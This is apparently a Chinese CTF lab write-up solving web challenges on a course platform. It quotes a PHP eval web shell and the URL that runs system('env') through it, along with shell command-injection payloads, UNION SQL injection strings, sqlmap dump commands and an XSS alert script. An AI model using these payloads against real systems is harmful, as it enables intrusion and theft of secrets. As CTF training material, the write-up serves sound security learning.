WriteUp 2024/7/19

跑马场

进入 /ma.php

<?php 

// 真正的强者,敢于把自己的马送给别人
highlight_file(__FILE__);

@eval($_REQUEST['dc64c146a42ea65baf7b5a7d64a50972']);

$_REQUEST[] 既包含 GET 又包含 POST

dc64c146a42ea65baf7b5a7d64a50972 即为变量名

eval() 函数把括号里面的内容按照 php 代码处理

system() 调用系统 shell

题目说 flag 在环境变量中,故读取 env

http://course.hitctf.cn:28415/ma.php?dc64c146a42ea65baf7b5a7d64a50972=system("env");

字符艺术

输入正常字符会显示艺术字

乱输一通 ctrl c 中断发现报错:

Traceback (most recent call last):
  File "/app/app.py", line 7, in <module>
    print(os.popen(cmd).read())

python 调用 Shell 脚本,有两种方法:os.system() 和 os.popen(),
前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容

故通过 || 或者 && 阻断字符的读取,再用其他代码读取有用信息

为什么 || 不行(无法执行后面的语句)而 && 可以?

短路原则 若 || 左边为真则右边不执行,若 && 左边为假则右边不执行

题目说 flag 在环境变量中,故读取 env

aa && env

公式编辑器

输入一个引号来到报错页面

看到

cmd = f'python3 gen.py {filename} "{latex}"'

显然我们在输入框里输入的内容被赋给了变量 latex,而我们需要利用这一条 cmd 命令执行 shell

并且它将结果输入了文件,故不会直接回显

解法1:将我们需要的结果写入文件,再读取

aa" && env > static/fuck.txt #"

&& 换成 | 也可行,但换成 || 不可行

为什么是 static ?该网页由 Flask 编写,而 Flask 将静态数据存放在 static 文件夹。

访问 /static/fuck.txt 即可获取 flag.

中级户籍表

1' or 1=1#

有回显,找到注入点

1' union select 1,1,1,database()#

成功回显,说明列数为 4,并且得到数据库名 lilac

1' union select 1,1,1,table_name from information_schema.tables where table_schema='lilac'#

找到属于 lilac 数据库的表名,发现有一个叫 pcbgeioocjcbpkfq 的数据表

1' union select *,1,1,1 from pcbgeioocjcbpkfq#

查看表中数据,得到 flag

注意:多列时 * 只能放在第一位!

高级户籍表

sqlmap 直接干:

python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones

查看当前数据库:

python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones --current-db

获得数据库名:lilac

查看当前数据库下的数据表:

python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones --tables -D lilac

看到一个 belnfnbb 的表

查看表中所有信息

python sqlmap.py -u http://course.hitctf.cn:28121/search?name=Amy+Jones -T belnfnbb -D lilac --dump

获得 flag

解法2 正常注入

举办喵

字面意思?弹窗内容是 xss(?)

评论中编写脚本

<script>alert("xss")</script>

再点击举办即可得到 flag

下一篇